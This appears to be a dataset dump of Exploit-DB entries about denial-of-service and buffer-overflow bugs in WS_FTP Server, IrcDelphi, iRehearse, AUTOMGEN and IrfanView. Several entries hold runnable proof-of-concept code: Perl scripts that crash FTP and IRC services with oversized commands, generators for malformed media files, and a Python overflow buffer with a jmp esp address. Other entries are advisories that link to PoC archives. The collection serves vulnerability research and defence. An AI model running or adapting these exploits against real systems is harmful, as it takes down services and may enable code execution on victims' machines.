deardaniel/secdata-raw huggingface dataset:
Exploit-DB #1158
Description: Ipswitch WS_FTP Server 5.03 - 'RNFR' Buffer Overflow
Type: dos
Platform: windows
Date: 2004-11-29
Author: Reed Arvin

Exploit:
#===== Start WS_FTP_Overflow.pl =====
#
# Usage: WS_FTP_Overflow.pl <ip> <ftp user> <ftp pass>
#        WS_FTP_Overflow.pl 127.0.0.1 hello moto
#
# WS_FTP Server Version 5.03, 2004.10.14
#
# Download:
# http://www.ipswitch.com/
#
######################################################

use IO::Socket;
use strict;

my($socket) = "";

if ($socket = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                                    PeerPort => "21",
                                    Proto    => "TCP"))
{
        print "Attempting to kill WS_FTP Server service at $ARGV[0]:21...";

        sleep(1);

        print $socket "USER $ARGV[1]\r\n";

        sleep(1);

        print $socket "PASS $ARGV[2]\r\n";

        sleep(1);

        print $socket "PORT 127,0,0,1,18,12\r\n";

        sleep(1);

        print $socket "RNFR " . "A" x 768 . "\r\n";

        close($socket);
}
else
{
        print "Cannot connect to $ARGV[0]:21\n";
}
#===== End WS_FTP_Overflow.pl =====

# milw0rm.com [2004-11-29]
Exploit-DB #5044
Description: Ipswitch WS_FTP Server with SSH 6.1.0.0 - Remote Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2008-02-03
Author: securfrog

Exploit:
# IpSwitch WS_FTPSERVER with SSH remote Buffer Overflow
#
# Website:http://www.wsftp.com/products/ws_ftp_server/
#
# Version:6.1.0.0 ( last one,others might be vuln too )
#
# Bug: Remote Buffer Overflow ( CD)
#
# (8e8.a78): Access violation - code c0000005 (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# eax=00000000 ebx=00000000 ecx=00410041 edx=7c9137d8 esi=00000000 edi=00000000
# eip=00410041 esp=04b8c830 ebp=04b8c850 iopl=0         nv up ei pl zr na po nc
# cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
# 00410041 ??               ???
#
#
#Here's the PoC :



use strict;
use Net::SSH2;
my $ip="127.0.0.1";
my $port=22;
my $user="USERNAME";
my $pass="PASSWORD";
my $ssh2 = Net::SSH2->new();
my $payload ="A" x 5131;
$ssh2->connect($ip, $port) || die "could not connect";
$ssh2->auth_password($user,$pass)|| die "wrong passwd/login";
print "Poc running ...\n";
my $sftp = $ssh2->sftp
my $dir = $sftp->opendir($payload); 
print "Buffer Overflow Successfull\n";
$ssh2->disconnect();
exit;

# milw0rm.com [2008-02-03]
Exploit-DB #17964
Description: IRAI AUTOMGEN 8.0.0.7 - Use-After-Free
Type: dos
Platform: windows
Date: 2011-10-10
Author: Luigi Auriemma

Exploit:
#######################################################################

                             Luigi Auriemma

Application:  IRAI AUTOMGEN
              http://www.irai.com/a8e/
Versions:     <= 8.0.0.7 (aka 8.022)
Platforms:    Windows
Bug:          use after free
Exploitation: file
Date:         10 Oct 2011
Author:       Luigi Auriemma
              e-mail: aluigi@autistici.org
              web:    aluigi.org


#######################################################################


1) Introduction
2) Bug
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


From vendor's website:
"Universal automation workshop
Fonctionnalities : automation projects creation for PLC and
microprocessors, SCADA, Web SCADA, 3D process simulation, etc."


#######################################################################

======
2) Bug
======


Use after free in the handling of project files containing some
malformed fields like the size of the embedded zip archive or some
counters that may allow code execution.

No additional research performed because it was only a quick test, the
following are various examples of locations for the possible code
execution:

  00460ee6 8b01            mov     eax,dword ptr [ecx]
  00460ee8 6a01            push    1
  00460eea ff5004          call    dword ptr [eax+4]

  005239ca 8b06            mov     eax,dword ptr [esi]
  005239cc 8bce            mov     ecx,esi
  005239ce ff5010          call    dword ptr [eax+10h]

  0040d11b 8b16            mov     edx,dword ptr [esi]
  0040d11d 6a00            push    0
  0040d11f 50              push    eax
  0040d120 8bce            mov     ecx,esi
  0040d122 ff[PII_REDACTED]    call    dword ptr [edx+88h]


#######################################################################

===========
3) The Code
===========


http://aluigi.org/poc/automgen_1.zip
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/17964.zip


#######################################################################

======
4) Fix
======


No fix.


#######################################################################
Exploit-DB #14266
Description: IrcDelphi Daemon Server - Denial of Service
Type: dos
Platform: windows
Date: 2010-07-08
Author: Crash

Exploit:
[DCA-0010]

[Software]
- IrcDelphi Daemon Server

[Vendor Product Description]
- IRC Daemon (IRCd, IRC Server) coded in Delphi/Kylix using Indy
components. Easy to use and light irc daemon.

[Bug Description]
- The IRC Daemon does not sanitize the variable NICK correctly leading
to a Denial-of-Service flaw.

[History]
- Advisory sent to vendor on 06/21/2010.
- No response
- Public adv. 07/02/2010

[Impact]
- Low

[Affected Version]
- IrcDelphi core-alpha1
- Prior versions may also be vulnerable.

[Codes]

#!/usr/bin/perl
use IO::Socket;

       if (@ARGV < 1) {
               usage();
       }

       $ip     = $ARGV[0];
       $port   = $ARGV[1];

       print "[+] Sending request...\n";

       $socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$ip", PeerPort => "$port") || die "[-] Connection FAILED!\n";
       print $socket "USER AA AA AA :AA\r\n";
       print $socket "NICK ". "\\" x 200 ."\r\n";

       sleep(3);
       close($socket);

       print "[+] Done!\n";


sub usage() {
       print "[-] Usage: <". $0 ."> <host> <port>\n";
       print "[-] Example: ". $0 ." 127.0.0.1 6667\n";
       exit;
}
----------------------------------------------------------------------------------------

DcLabs Security Group
Sponsor: ipax
ipax@dclabs.com.br

[Credits]
Crash and all DcLabs members.
Exploit-DB #9392
Description: iRehearse - '.m3u' Local Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2009-08-07
Author: opt!x hacker

Exploit:
#!/usr/bin/perl
#iRehearse (m3u) local stack overlow POC
#finded by opt!x hacker  <optix@9.cn>
#download : http://rjvmedia.co.uk/software/iRehearseTrial.zip
my $header="MILW0RM";
my $crash="A" x 40;
my $poc=$header.$crash;
open(myfile,'>>aidi.m3u');
print myfile $poc;

# milw0rm.com [2009-08-07]
Exploit-DB #22680
Description: IrfanView - '.RLE' Image Decompression Buffer Overflow
Type: dos
Platform: windows
Date: 2012-11-13
Author: Francis Provencher

Exploit:
#####################################################################################

Application:  IrfanView RLE Image Decompression Buffer Overflow Vulnerability
Plateform:   Windows
Version:   The vulnerabilities are confirmed in version 4.33. Other versions may also be affected.
Exploitation:   Remote code execution

Secunia Number:   SA49856

{PRL}:   2012-32

Author:   Francis Provencher (Protek Research Lab's)

Website:   http://www.protekresearchlab.com/

Twitter:   @ProtekResearch

#####################################################################################

1) Introduction
2) Timeline
3) Technical details
4) PoC


#####################################################################################

===============
1) Introduction
===============
IrfanView is a freeware/shareware image viewer for Microsoft Windows that can view, edit, and convert image files
and play video/audio files. It is noted for its small size, speed, ease of use, and ability to handle a wide variety of graphic
file formats, and has some image creation and painting capabilities. The software was first released in 1996.
IrfanView is free for non-commercial use; commercial use requires paid registration.
#####################################################################################

============
2) Timeline
============

2012-07-11 - Vulnerability reported to secunia
2012-11-12 - Coordinated public release of advisory

#####################################################################################

=================
3) Technical details
=================
An error when processing RLE compressed images can be exploited to cause
a heap-based buffer overflow via a specially crafted BMP image containing many
"End of Line" markers within a stream.
#####################################################################################

=============
4) The Code
=============

http://protekresearchlab.com/exploits/PRL-2012-32.rle
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/22680.tar.gz (PRL-2012-32.rle.tar.gz)
Exploit-DB #22681
Description: IrfanView - '.TIF' Image Decompression Buffer Overflow
Type: dos
Platform: windows
Date: 2012-11-13
Author: Francis Provencher

Exploit:
#####################################################################################

Application:  IrfanView TIF Image Decompression Buffer Overflow Vulnerability
Plateform:   Windows
Version:   The vulnerabilities are confirmed in version 4.33. Other versions may also be affected.
Exploitation:   Remote code execution

Secunia Number:   SA49856

{PRL}:   2012-31

Author:   Francis Provencher (Protek Research Lab's)

Website:   http://www.protekresearchlab.com/

Twitter:   @ProtekResearch

#####################################################################################

1) Introduction
2) Timeline
3) Technical details
4) PoC


#####################################################################################

===============
1) Introduction
===============
IrfanView is a freeware/shareware image viewer for Microsoft Windows that can view, edit, and convert image files
and play video/audio files. It is noted for its small size, speed, ease of use, and ability to handle a wide variety of graphic
file formats, and has some image creation and painting capabilities. The software was first released in 1996.
IrfanView is free for non-commercial use; commercial use requires paid registration.
#####################################################################################

============
2) Timeline
============

2012-07-11 - Vulnerability reported to secunia
2012-11-12 - Coordinated public release of advisory

#####################################################################################

=================
3) Technical details
=================
An error when processing JPEG compressed TIFF images can be exploited to cause a
heap-based buffer overflow via a specially crafted "ImageWidth" value.
#####################################################################################

=============
4) The Code
=============

http://protekresearchlab.com/exploits/PRL-2012-31.tif
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/22681.tif.tar.gz (PRL-2012-31.tif.tar.gz)
Exploit-DB #18257
Description: IrfanView - '.tiff' Image Processing Buffer Overflow
Type: dos
Platform: windows
Date: 2011-12-20
Author: Francis Provencher

Exploit:
#####################################################################################

Application:   IrfanView TIFF Image Processing Buffer Overflow Vulnerability

Platforms:   Windows

Exploitation:   Remote code execution

Secunia Number:   SA47065  

{PRL}:   2011-10

Author:   Francis Provencher (Protek Research Lab's)

Website:   http://www.protekresearchlab.com/

Twitter:   @ProtekResearch

#####################################################################################

1) Introduction
2) Timeline
3) Technical details
4) PoC


#####################################################################################

===============
1) Introduction
===============

IrfanView is a freeware/shareware image viewer for Microsoft Windows that can view, edit, and convert image files

and play video/audio files. It is noted for its small size, speed, ease of use, and ability to handle a wide variety of graphic

file formats, and has some image creation and painting capabilities. The software was first released in 1996.

IrfanView is free for non-commercial use; commercial use requires paid registration.

#####################################################################################

============
2) Timeline
============


2011-12-02 - Vulnerability reported to vendor
2011-12-20 - Coordinated public release of advisory

#####################################################################################

=================
3) Technical details
=================
The vulnerability is caused due to an error when processing TIFF images with certain "Rows Per Strip" and "Samples Per Pixel"

values, which can be exploited to cause a heap-based buffer overflow by tricking a user into opening a specially crafted TIFF

image file.


#####################################################################################

=============
4) The Code
=============

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/18257.tif
http://www.protekresearchlab.com/exploits/PRL-2011-10.tif
Exploit-DB #28369
Description: IrfanView 3.98 - '.ANI' Image File Denial of Service
Type: dos
Platform: windows
Date: 2006-08-09
Author: sehato

Exploit:
source: https://www.securityfocus.com/bid/19452/info

IrfanView is prone to a denial-of-service vulnerability. 

A remote attacker may crash the application, resulting in denial-of-service conditions to legitimate users. 

This issue may potentially be exploited to execute arbitrary machine code, but this has not been
confirmed.

Version 3.98.0 is vulnerable to this issue; other versions may also be affected.

program ani;
 {$APPTYPE CONSOLE}
 const
   FileName='file.ani';
   Len=113;
   Buf=#$52#$49#$46#$46#$00#$00#$00#$00#$41#$43#$4F#$4E#$00#$00#$00#$00#$24#$00+
   #$00#$00#$24#$00#$00#$00#$00#$00#$00#$00#$00#$00#$00#$00#$00#$00#$00#$00#$00+
   #$00#$00#$00#$00#$00#$00#$00#$00#$00#$00#$00#$00#$00#$00#$00#$00#$00#$00#$00+
   #$4C#$49#$53#$54#$00#$00#$00#$00#$66#$72#$61#$6D#$69#$63#$6F#$6E#$00#$00#$00+
   #$00#$00#$00#$00#$00#$01#$00#$00#$00#$00#$00#$00#$00#$00#$00#$00#$00#$02#$00+
   #$16#$00#$00#$00#$28#$00#$00#$00#$FF#$FF#$FF#$00#$02#$00#$00#$00#$00#$00#$01;
 var
   F:File;
   I:Byte;
 begin
   AssignFile(F,FileName);
   Rewrite(F,1);
   BlockWrite(F, Buf, Len);
   CloseFile(F);
 end.
Exploit-DB #19385
Description: IrfanView 4.33 - '.DJVU' Image Processing Heap Overflow
Type: dos
Platform: windows
Date: 2012-06-24
Author: Francis Provencher

Exploit:
#####################################################################################

Application:   IrfanView DJVU Image Processing Heap Overflow
Version:   The vulnerability is confirmed in version 4.33. Other versions may also be affected
Plateform:   Windows
Exploitation:   Remote code execution

Secunia Number:   SA49176   

{PRL}:   2012-23

Author:   Francis Provencher (Protek Research Lab's)

Website:   http://www.protekresearchlab.com/

Twitter:   @ProtekResearch

#####################################################################################

1) Introduction
2) Timeline
3) Technical details
4) PoC


#####################################################################################

===============
1) Introduction
===============
IrfanView is a freeware/shareware image viewer for Microsoft Windows that can view, edit, and convert image files
and play video/audio files. It is noted for its small size, speed, ease of use, and ability to handle a wide variety of graphic
file formats, and has some image creation and painting capabilities. The software was first released in 1996.
IrfanView is free for non-commercial use; commercial use requires paid registration.
#####################################################################################

============
2) Timeline
============

2012-05-15 - Vulnerability reported to secunia
2012-06-22 - Coordinated public release of advisory

#####################################################################################

=================
3) Technical details
=================
The vulnerability is caused due to an error when decompressing DjVu images
and can be exploited to cause a heap-based buffer overflow via a specially crafted file.
#####################################################################################

=============
4) The Code
=============

http://protekresearchlab.com/exploits/PRL-2012-23.djvu
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19385.djvu
Exploit-DB #23288
Description: IrfanView 4.33 - 'IMXCF.dll' Plugin Code Execution
Type: dos
Platform: windows
Date: 2012-12-11
Author: beford

Exploit:
>From the simple.xcf file, 0x004ABABC will overwrite eip.

Tested on Windows XP SP3 and Windows 7 x64.

Fixed in the current release IrfanView 4.35: [1]

Shellcode from [2]

Old version installer at [3] [4].

[1] http://www.irfanview.com/main_history.htm
[2] http://code.google.com/p/win-exec-calc-shellcode/
[3] http://gd.tuwien.ac.at/graphics/irfanview/plugins/irfanview_plugins_433_setup.exe
[4] http://gd.tuwien.ac.at/graphics/irfanview/iview433_setup.exe

PoC: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/23288.tar.gz
Exploit-DB #18972
Description: IrfanView 4.33 - Format PlugIn '.TTF' File Parsing Stack Overflow
Type: dos
Platform: windows
Date: 2012-06-02
Author: Francis Provencher

Exploit:
#####################################################################################

Application:  IrfanView 4.33 Format PlugIn TTF File Parsing Stack Based Overflow
Plateform:   Windows
Exploitation:   Remote code execution

Secunia Number:   SA49319  

{PRL}:   2012-11

Author:   Francis Provencher (Protek Research Lab's)

Website:   http://www.protekresearchlab.com/

Twitter:   @ProtekResearch

#####################################################################################

1) Introduction
2) Timeline
3) Technical details
4) PoC


#####################################################################################

===============
1) Introduction
===============
IrfanView is a freeware/shareware image viewer for Microsoft Windows that can view, edit, and convert image files
and play video/audio files. It is noted for its small size, speed, ease of use, and ability to handle a wide variety of graphic
file formats, and has some image creation and painting capabilities. The software was first released in 1996.
IrfanView is free for non-commercial use; commercial use requires paid registration.
#####################################################################################

============
2) Timeline
============

2012-05-27 - Vulnerability reported to secunia
2012-06-01 - Coordinated public release of advisory

#####################################################################################

=================
3) Technical details
=================
The vulnerability is caused due to a boundary error when processing TTF font names
and can be exploited to cause a stack-based buffer overflow via a specially crafted font file.
#####################################################################################

=============
4) The Code
=============

http://protekresearchlab.com/exploits/PRL-2012-11.ttf
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/18972.ttf
Exploit-DB #18964
Description: IrfanView 4.33 - Format PlugIn ECW Decompression Heap Overflow
Type: dos
Platform: windows
Date: 2012-06-01
Author: Francis Provencher

Exploit:
#####################################################################################

Application:  IrfanView 4.33 Format PlugIn ECW Decompression Heap Overflow

Plateform:   Windows

Exploitation:   Remote code execution

Secunia Number:   SA49204  

{PRL}:   2012-10

Author:   Francis Provencher (Protek Research Lab's)

Website:   http://www.protekresearchlab.com/

Twitter:   @ProtekResearch

#####################################################################################

1) Introduction
2) Timeline
3) Technical details
4) PoC


#####################################################################################

===============
1) Introduction
===============

IrfanView is a freeware/shareware image viewer for Microsoft Windows that can view, edit, and convert image files

and play video/audio files. It is noted for its small size, speed, ease of use, and ability to handle a wide variety of graphic

file formats, and has some image creation and painting capabilities. The software was first released in 1996.

IrfanView is free for non-commercial use; commercial use requires paid registration.

#####################################################################################

============
2) Timeline
============


2012-05-15 - Vulnerability reported to secunia
2012-05-31 - Coordinated public release of advisory

#####################################################################################

=================
3) Technical details
=================

The vulnerability is caused due to insufficient validation when decompressing an ECW images

and can be exploited to cause a heap-based buffer overflow via a specially crafted file.

#####################################################################################

=============
4) The Code
=============

http://protekresearchlab.com/exploits/PRL-2012-10.ecw
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/19182.ecw
Exploit-DB #41949
Description: IrfanView 4.44 - Denial of Service
Type: dos
Platform: windows
Date: 2017-04-29
Author: Dreivan Orprecio

Exploit:
# Exploit Title: Irfanview - OtherExtensions Input Overflow
# Date: 29-04-2017
# Software Link: http://download.cnet.com/IrfanView/?part=dl-&subj=dl&tag=button
# Exploit Author: Dreivan Orprecio
#Version: Irfanview 4.44
#Irfanview is vulnerable to overflow in "OtherExtensions" input field
#Debugging Machine: WinXP Pro SP3 (32bit)


#POC

#!usr/bin/python


      eip = "\xf7\x56\x44\x7e" #jmp esp from user32.dll



      buffer = "OtherExtensions="+"A" *  199 + eip + "\xcc" 

      print buffer              #a) irfanview->Option->Properties/Settings->Extensions
                                #b) Paste the buffer in the "other" input then press ok, repeat a) and b)





#badcharacters: those instruction that start with 6,7,8,E,F 
#Only 43 bytes space to host a shellcode and lots of badchars make it hard for this to exploit
#Any other way around this?